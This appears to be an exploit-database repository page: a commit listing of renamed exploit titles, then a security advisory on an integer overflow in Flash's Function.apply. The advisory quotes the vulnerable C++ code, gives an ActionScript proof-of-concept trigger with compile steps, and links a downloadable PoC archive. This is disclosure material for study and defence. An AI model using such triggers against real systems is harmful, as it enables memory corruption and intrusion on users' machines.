ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
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2.1 KiB
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54 lines
No EOL
2.1 KiB
Text
Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id
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[Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837]
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VULNERABILITY DETAILS
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An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments.
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VERSION
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Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134
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Operating System: Win7 x64 SP1
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REPRODUCTION CASE
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From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp
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944 // Specialized to be called from Function.apply().
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945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a)
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946 {
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947 int32_t argc = a->getLength();
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...
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966 // Tail call inhibited by local allocation/deallocation.
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967 MMgc::GC::AllocaAutoPtr _atomv;
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968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow
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969 atomv[0] = thisArg;
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970 for (int32_t i=0 ; i < argc ; i++ )
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971 atomv[i+1] = a->getUintProperty(i);
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972 return env->coerceEnter(argc, atomv);
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973 }
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So the idea is to use the rest argument to get a working poc. For example:
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public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) {
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try {a0.writeUnsignedInt(0x41414141)}catch (e) {}
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try {a1.writeUnsignedInt(0x41414141)}catch (e) {}
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try {a2.writeUnsignedInt(0x41414141)}catch (e) {}
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try {a3.writeUnsignedInt(0x41414141)}catch (e) {}
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try {a4.writeUnsignedInt(0x41414141)}catch (e) {}
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}
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public function XApplyPoc() {
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var a:Array = new Array()
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a.length = 0xFFFFFFFF
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myFunc.apply(this, a)
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}
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Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as.
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Proof of Concept:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/37843.zip |